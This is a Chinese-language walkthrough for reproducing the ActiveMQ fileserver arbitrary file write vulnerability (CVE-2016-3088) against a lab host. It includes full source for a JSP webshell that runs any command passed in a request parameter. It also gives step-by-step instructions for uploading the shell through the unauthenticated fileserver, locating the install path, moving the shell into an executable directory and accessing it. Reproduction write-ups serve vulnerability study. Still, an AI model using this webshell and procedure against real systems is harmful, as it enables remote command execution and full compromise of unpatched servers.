ActiveMQ任意文件写入漏洞(CVE-2016-3088)
前言
ActiveMQ Web控制台分为三个应用程序:admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是用于存储文件的界面;admin和api需要先登录才能使用,fileserver不需要登录。
文件服务器是RESTful API接口。我们可以通过HTTP请求(例如GET,PUT和DELETE)读写存储在其中的文件。设计目的是为了弥补消息队列操作无法传输和存储二进制文件,但后来发现的缺陷:使用率不高;文件操作容易产生漏洞。
靶机:192.168.168.128
影响范围
ActiveMQ:5.x〜5.13.x
复现过程
Webshell篇
-
访问管理页面,长这样↓,说明环境部署成功。
-
上传java后门到fileserver下,服务器返回204才算成功,后跟代码。
java
<%@ page import=“java.io.*”%>
<%
out.print(“Hello”);
String strcmd=request.getParameter(“passwd”);
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"");
}
%> -
访问
http://192.168.168.128:8161/fileserver/a.jsp
,发现后门文件没有被解析,说明该目录没有执行权限,需要将后门文件移动到具有执行权限的目录下。 -
访问
http://192.168.168.128:8161/admin/test/systemProperties.jsp
查看ActiveMQ绝对路径。
-
将fileserver下的后门文件a.jsp移动到具有执行权限的
/opt/activemq/webapps/api/s.jsp
目录下。 -
访问Webshell。